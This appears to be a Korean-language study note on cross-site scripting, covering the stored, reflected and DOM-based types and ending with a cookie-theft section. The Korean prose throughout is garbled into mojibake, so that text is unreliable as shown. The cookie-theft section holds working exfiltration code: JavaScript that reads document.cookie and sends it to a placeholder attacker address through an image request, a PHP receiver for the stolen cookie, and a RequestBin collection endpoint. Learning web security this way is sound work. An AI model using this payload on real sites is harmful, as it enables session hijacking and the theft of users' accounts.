์์ ์ ๋ฆฌํ XSS
XSS๋ ํด๋ผ์ด์ธํธ ์ธก ์คํฌ๋ฆฝํธ ์ฝ์ ๊ณต๊ฒฉ์ผ๋ก์ ์น ๋ธ๋ผ์ฐ์ ์์ ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ์ธ Javascript๊ฐ ๋ํ์ ์ผ๋ก ๊ณต๊ฒฉ์ ์ด์ฉ๋๋ค.
์คํ์์น๋ ํผํด์(์ด์ฉ์)์ ์น ๋ธ๋ผ์ฐ์ ์ด๋ค.
์น ๋ธ๋ผ์ฐ์ ๋ ์คํ ์์ ์๋ฐ์คํฌ๋ฆฝํธ(Javascript) ํ๊ทธ(Tag)๋ฅผ ์ฐพ์์ ์ฝ๋๋ฅผ ์คํํ๋ค.
<script>badCode</script>
์ ์ฑ ์ฝ๋(badCode)๊ฐ ์คํ๋๋ ๊ฒ์ ์ฆ๋ช ํ๊ธฐ ์ํด์ alert(1)๊ณผ ๊ฐ์ POC๋ฅผ ์ด์ฉํ์ฌ ์คํ๋๋ค๋ ์ฌ์ค์ ๋ณด์ฌ์ค๋ค.
Stored XSS
์๋ฒ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ฅํ๊ณ ํด๋น ์์น์ ์ ๊ทผํ๋ ๊ฒฝ์ฐ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์ด ํผํด๋ฅผ ์ ๋๋ค.
์ฝ์ ๋ ์คํฌ๋ฆฝํธ๊ฐ ์ถ๋ ฅ๋๋ ํ์ด์ง์ ํผํด์๊ฐ ์ง์ ์ ๊ทผ
ex) ๊ฒ์ํ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํด๋๊ณ , ๊ธ ์ด๋์์ ์คํฌ๋ฆฝํธ๊ฐ ์คํ
Reflected XSS
์๋ฒ์์ ๋ฐ์ฌ๋๋ ํน์ง์ ์ด์ฉํ๋ค.
์๋ฒ๋ก ํ๋ผ๋ฏธํฐ์๋ค๊ฐ ์ด๋ค ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ธ ๊ฒฝ์ฐ, ํด๋น ํ๋ผ๋ฏธํฐ/๋ฐ์ดํฐ๊ฐ ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๊ณ ์๋ค๋ฉด ์ด์ฉ ๊ฐ๋ฅํ๋ค.
ํด๋น ์ทจ์ฝ์ ์ ํด๋น ํด๋ผ์ด์ธํธ์์๋ง ๋ฐ์๋๊ธฐ ๋๋ฌธ์ ๋งํฌ์ ๋ด์์ผํ๋ค.
๊ทธ๋์ POST๋ก๋ ๋ถ๊ฐ๋ฅํ๊ณ GET์ ์ด์ฉํ์ฌ ํ๋ผ๋ฏธํฐ๊ฐ ๋ด๊ฒจ๊ฐ์ผํ๋ค.
(๊ณต๊ฒฉ์๋ ํผํด์์๊ฒ URL์ ์ ๋ฌํ๊ณ , ํผํด์๋ ํด๋น URL์ ํด๋ฆญํด์ ๊ณต๊ฒฉ์ ๋นํ๋ค.)
์๋๋ฆฌ์ค
์ด๊ฒ์ ๊ณต๊ฒฉ์ ์ด๋ป๊ฒ ํ์ฉํ์ง? ์ ๋ํ ์๊ฐ์ ํด๋ณด๋ฉด์ ์๋๋ฆฌ์ค๋ฅผ ์๊ฐํด๋ณด๊ณ ์ค์ ํด๋ณด์.
์ทจ์ฝ์ ์ ์ฐพ์ ๋, alert๋ฅผ ๋์ฐ๊ณ ์๊ฐ์ ๋ฉ์ถ๋ ๊ฒ์ด ์๋๊ณ , ์ด ์ทจ์ฝ์ ์ผ๋ก ๋ด๊ฐ ๋ญ ํ ์ ์๋์ง์ ๋ํ์ฌ ์๊ฐํด๋ณด๋ ๊ฒ์ด ์ค์ํ๋ค.
๋ด๊ฐ ๊ณต๊ฒฉ์์ด์ ํผํด์์ธ ์ญํ ๊ทน์ ํด๋ณด๋ ๊ฒ์ด๋ค.
(ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ํผํด์ ์ปดํจํฐ์์ ์คํ์ํฌ ์ ์๋๊ฐ๊ฐ ์ค์ํ๋ค๋ ๊ฒ์ ์๊ฐํด์ผ ํ๋ค.)
DOM Based XSS
DOM์ด๋ ๋ฌธ์ ๊ฐ์ฒด ๋ชจ๋ธ(Document Object Model)์ ์ฝ์ด๋ก์ ํ์ด์ง(= HTML ๋ฌธ์)์ ์ ์ฒด์ ์ธ ๊ตฌ์กฐ๋ฅผ Object๋ก ๋ํ๋ธ ๊ตฌ์กฐ์ด๋ค.
ํ์ด์ง๋ <html> ํ๊ทธ ๋ด๋ถ์ <head>, <body> ํ๊ทธ(tag) ๋ด๋ถ์ ์๋ง์ ํ๊ทธ๋ค์ด ์์ฌ์๋ ๊ตฌ์กฐ๋ก ์ด๋ฃจ์ด์ง๋ค.

์์ ๊ฐ์ด ๋ฌธ์๋ฅผ ๊ตฌ์ฑํ๋ ๊ฐ์ฒด(Object) ๋ ธ๋(Node)๋ก ๊ตฌ์ฑ๋ ํธ๋ฆฌ ๊ตฌ์กฐ์ ๋ชจ๋ธ์ DOM์ด๋ผ๊ณ ํ๋ ๊ฒ์ด๋ค.
(์ถํ์ ์ข ๋ ์์ธํ ์ ๋ฆฌํ๋๋ก ํ๊ณ ์ฌ๊ธฐ์๋ ์ด๋ฐ ๊ตฌ์กฐ์ ํํ๋ฅผ ํ๊ณ ์๊ณ ์ด๋ฅผ ์ด์ฉํ ์ ์๋ค๊ณ ๋ง ์๊ฐํ๋ฉด ๋ ๊ฒ๊ฐ๋ค.)
์์์ ์ ๋ฆฌํ Reflected XSS์ ๋น์ทํ๊ฒ ์ ๋ ฅ๊ฐ์ด ํ๋ฉด์์ ๋ ธ์ถ๋์์ง๋ง ๋ฐ์ฌ๋์ด ์๋ต์ ๋์ค๋ ๊ฒ์ ์๋ ํํ๋ฅผ ๋๊ณ ์๋ค๋ฉด ๋ธ๋ผ์ฐ์ ์์ ์กฐ๋ฆฝํ์ฌ ๋์จ ๊ฒ์ผ๋ก Reflected์๋ ๋ค๋ฅด๋ค.
์์์ ์ ๋ฆฌํ๋ฏ DOM์ ์ฝ๊ฒ ๋งํด HTML ์ด๋ผ๊ณ ์๊ฐํ๋ฉด ๋๋๋ฐ, javascript๋ก tag๋ฅผ ๋ง๋ค์ด์ ์ฌ์ฉํ๋ฏ์ด javascript๋ก javascript๋ ๋ง๋ค์ด ๋ผ ์ ์๋ค. ๋ธ๋ผ์ฐ์ ์์ ์กฐ๋ฆฝ๋์ด script๋ฅผ ์คํํ๋ค๋ ๊ฒ์ผ๋ก ์์ฃผ ์ฌ์ฉ๋๋ ์๋ฐ์คํฌ๋ฆฝํธ ๋ฐฉ์์ด๋ค. document ๊ฐ์ฒด์ ํ๊ทธ๋ฅผ ์์ฑํ์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์ DOM based ๋ผ๊ณ ํ๋ค.
document.write = " "
innerHTML
document.write() ํจ์๋ ์ธ์๋ก ์ฃผ์ด์ง ๋ฌธ์์ด์ ํ๋ฉด์ ๊ทธ๋๋ก ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์ ์ํํ๊ฒ ๋๋๋ฐ, ์ด ๋ง์ HTML tag, JavaScript๋ฅผ ์์ฑํ์ฌ ๋ฃ์ด์ฃผ๋ ๊ฒฝ์ฐ ํ๊ทธ(Tag)์ ์คํฌ๋ฆฝํธ(script)๋ฅผ ์คํํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
์ด์ฒ๋ผ HTML ๊ฐ์ฒด๋ฅผ ์ ์ดํ๋ javascript๊ฐ ์์ฑ๋์ด์๋ ๊ฒฝ์ฐ์๋ ์ด๋ฅผ ์ด์ฉํ์ฌ ๊ทธ ์์ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๊ฒ ๋๊ณ ์ด๋ฅผ ํ์ฉํ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ DOM Based XSS๋ผ๊ณ ํ๋ค.
ํ๋ผ๋ฏธํฐ(Params)์ ์คํฌ๋ฆฝํธ(script)๋ฅผ ๋ฃ์ด ์ค์ผ๋ก์จ ํ๋ผ๋ฏธํฐ ๋ด๋ถ์ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ๋ก ์ ๋ฌ๋์๋ค๊ฐ ์๋ฒ์์ ๋ค์ ๋ธ๋ผ์ฐ์ ๋ก ๋์์ค๋ ๊ณผ์ ์์ ์คํฌ๋ฆฝํธ๊ฐ ์กฐ๋ฆฝ๋์ด ํ์ด์ง ๋ด๋ถ๋ก ๋ค์ด๊ฐ๊ฒ ๋๋ ๊ฒ์ด๋ค.
DOM based XSS์ ๊ฒฝ์ฐ์ ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๊ฒ ๋๋๋ผ๋ ์๋ต์์๋ ํด๋น ์คํฌ๋ฆฝํธ์ ๋ด์ฉ์ด ํ์ธ๋์ง ์๋๋ค. document.write() ํจ์๋ก ์ถ๋ ฅํ๋ ๊ณผ์ ์์ ์กฐ๋ฆฝ๋์ด ํ์ด์ง์ ๋ด์ฉ์ ๋ค์ด๊ฐ๊ฒ ๋๊ธฐ ๋๋ฌธ์ด๋ค.
XSS ์ฐพ๊ธฐ TIP
Stored๋ ์ ์ฅํ๋ ๊ณณ์ ์๋ณด๋ฉด ๋๊ณ
Reflected๋ Burp Suite์์ ๋ฐ์ฌ๋๋ ๊ฒ์ ์ ํ์ธํ๋ฉด ๋๊ณ
DOM Based๋ HTML/Javascript Code๋ฅผ ์ ๋ด์ผํ๋ค.!!
(ํด๋น ์ฝ๋๋ฅผ ๋ถ์ํ์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃ์ด์ผํ๊ธฐ ๋๋ฌธ์ผ๋ก ์ด๋ป๊ฒ ๋ณด๋ฉด Reflected์ ๋น์ทํ์ง๋ง ๋ค๋ฅด๋ค๋ ๊ฒ์ ์ธ์งํด์ผํ๋ค.)
Reflected๋ก ์์ฌ๋๋ ๊ณณ(์ ๋ ฅ๊ฐ์ด ๋ ธ์ถ๋๊ณ ์๋๋ฐ)์์ ํ๋ผ๋ฏธํฐ ๊ฐ์ ๋ฃ์๋๋ฐ ๊ฐ์ด ๋ฐ๋ก ์๋์จ๋ค๋ฉด(๋ฐ์ฌ๋์ง ์๋ ๋ค๋ฉด) DOM์ ์์ฌํด๋ณผ ์ ์๋ค.
DOM์ ๊ฒฝ์ฐ ๋์ ์ ๋ณด์ด์ง ์๊ฒ ๋ง๋ค์ด ์ง ์ ์๊ธฐ ๋๋ฌธ์, ์์ธํ ์ฐพ์๋ด์ผํ๋ค.
๋์ ์ ๋์ง ์์ ๋ฐ๊ฒฌํ๋ ๊ฒ์ด ์ด๋ ต๊ธฐ ๋๋ฌธ์ ์คํ๋ ค ๋ง์ด ๋จ์์์ ์ ์๊ธฐ ๋๋ฌธ์ ์๊ฐ๋ณด๋ค ๋ง์ด ์ฐพ์๋ณผ ์ ์๋ ์ทจ์ฝ์ ์ด๋ค.
Stored XSS - ์๋ฒ์ ์ ์ฅ
Reflected XSS - ๋ธ๋ผ์ฐ์ ์ ๋ฐ์ฌ
DOM Based XSS - ํผํด์ ๋ธ๋ผ์ฐ์ ์์ ์กฐ๋ฆฝ
Cookie ํ์ทจ
XSS๋ ์์์ ์คํฌ๋ฆฝํธ(script)๋ฅผ ์ฝ์ ํ๋ ๊ณต๊ฒฉ์ด๋ค.
๊ทธ๋ฌ๋ฏ๋ก Javascript๋ฅผ ์ผ๋ง๋ ์ ์ฐ๋์ ๋ฐ๋ผ ๊ณต๊ฒฉ์ ์์ค์ด ์ฒ์ง ์ฐจ์ด๊ฐ ๋๋ค๋ ์ฌ์ค์ ์ธ์งํด์ผํ๋ค.
(javascript์ ๋ํ ๊ณต๋ถ๋ฅผ ์ข ๋ ํด์ผ๊ฒ ๋ค.)
์ฐ์ ์ด๋ฒ์๋ ๋ค์ํ ํํ์ ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ ์ค์ ์ฟ ํค(Cookie) ํ์ทจ์ ๋ํ์ฌ ์์๋ณผ ๊ฒ์ด๋ค.
์ฟ ํค ํ์ทจ์ ๊ฒฝ์ฐ (์ธ์ / ์ธ์ ID / ์ฟ ํค)์ ์ฐ๊ด์ง์ด ๋ฉด์ ์ ๋จ๊ณจ ์ง๋ฌธ์ด๋ผ๊ณ ํ๋ค.
์ธ์ ID๊ฐ ์ฟ ํค์ ์ ์ฅ๋๋ค๋ ์ฌ์ค์ ์์ด์๋ ์๋๋ค. ๊ทธ๋์ ์ฐ๋ฆฌ๋ ์ธ์ ID๋ฅผ ์ฐฐ์ทจํ์ฌ ํด๋น ์ ์ ์ธ ์ฒํ ์ ์๋ค๋ ๊ฒ์ด๋ค.
javascript๋ก ์ฟ ํค ๊ฐ์ ์ ๊ทผํ์ฌ ๊ฐ์ ธ์ค๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ๋ค.
var cookieData = document.cookie; // ์ฟ ํค์ ์ ๊ทผ
(์ ๋ฌํ ํ์ ์์ด ๋ฐ๊ธฐ๋ง ํ๋ฉด๋๋ฏ๋ก)
// Web Request [GET]
var i = new Image(); // ์ด๋ฏธ์ง ํ๊ทธ๋ฅผ ์์ฑํ๊ฒ
<img> i.src = "http://๊ณต๊ฒฉ์ ์ฃผ์/?cookie=" + "Secret_data";
img ํ๊ทธ๋ฅผ ์ด์ฉํ๊ฒ ๋๋ฉด, img๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํด์ img ์ฃผ์์ ์์ฒญ์ ๋ณด๋ด๊ฒ ๋๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ์ฟ ํค๊ฐ์ ํฌํจํ์ฌ ๊ณต๊ฒฉ์์ ์ฃผ์๋ฅผ img ์ฃผ์๋ก์ ์ ๋ ฅํ๊ฒ ๋๋ฉด ์ฟ ํค ๊ฐ์ ํ์ทจํ ์ ์๊ฒ ๋๋ ๊ฒ์ด๋ค.
<img src = "http:// ~~~ ์ฃผ์/";>
(ํด๋น ์ฃผ์๋ก get ๋ฐฉ์์ผ๋ก ์น ์์ฒญ์ ํ๋ ๋ณด๋ธ๋ค.)
http:// ~~~ ์ฃผ์/?cookie=Secret_data
GET /?cookie=Secret_data
HOST : http:// ~~~ ์ฃผ์/
๊ทธ๋ฌ๋ฏ๋ก ์ฟ ํค ๋ฐ์ดํฐ๋ฅผ Secret data์ ๋ด์์ฃผ๋ ๋ฐฉ์์ผ๋ก ๊ทธ๋ฆผ์ ์์ฒญํ ์ ๋ฐ์ ์๋ img ํ๊ทธ๋ฅผ ํ์ฉํ๋ ๊ฒ์ด๋ค.
src๋ ์ด๋ฏธ์ง ํ์ผ์ ์์ฑ๊ฐ์ ์ ๊ทผํ๋ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ์์ฑ๊ฐ์ ์ฃผ์๋ฅผ ๋ฃ์ด์ฃผ๋ ๊ฒ์ด๋ค.
์ด ์ฃผ์๋ก ์น ์์ฒญ์ ํ๊ฒ๋๊ณ ์ง์ ๋ ์์ค๋ฅผ ์คํํ๊ฒ ํ๋ค. ํด๋น ์ฃผ์์ ์ ๊ทผํ์ฌ ์ด๋ฏธ์ง๋ฅผ ๊ฐ์ ธ์์ผํ๋ค๊ณ ์ธ์ํ์ง๋ง, ์ค์ ๋ก๋ ๊ณต๊ฒฉ์์ ์ปดํจํฐ(์๋ฒ)์ ๋ค์ด๊ฐ๋(์ ์ํ๋) ๊ฒ๊ณผ ๊ฐ๋ค.
๊ฒฐ๊ตญ ํด๋น ์ฃผ์๋ฅผ ํด๋ฆญํ ๊ฒ๊ณผ ๊ฐ์ ํจ๊ณผ๊ฐ ๋๋ค๋ ๊ฒ์ด๋ค.
์ด๋ ์ฟ ํค ๋ฐ์ดํฐ๋ฅผ url์ ๋ฃ์ด์ ๋ณด๋์ผ๋ก์ ์ฟ ํค๋ฅผ ํ์ทจํ ์ ์๊ฒ ๋๋ ๊ฒ์ด๋ค.
<?
php $cookie = $_GET['cookie'];
echo $cookie;
?>
๊ณต๊ฒฉ์ ์๋ฒ์ ๊ฒฝ์ฐ
VPS(๊ฐ์ ์ฌ์ค ์๋ฒ Virtual Private Server)๋ฅผ ์ง์ ๊ตฌ์ถํด๋ ๋์ง๋ง, ๋์ ๋ด๊ณ ์ฌ์ผํ๊ธฐ ๋๋ฌธ์ ๋์ค์๋ ํ์๋กํ ์ง ๋ชจ๋ฅด์ง๋ง, ์ฐ์ ์ง๊ธ ์ฐ์ตํ ๋์๋ request bin์ ์ด์ฉํ๋๋ก ํ๋ค. (์ด๋ค ์์ฒญ์ด ์ค๋์ง๋ง ๋ณผ ์ ์์ง๋ง ์ฐ์ต์ฉ์ผ๋ก๋ ์ถฉ๋ถํ๋ค.)
| https://public.requestbin.com/r/
RequestBin.com โ A modern request bin to collect, inspect and debug HTTP requests and webhooks
public.requestbin.com
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์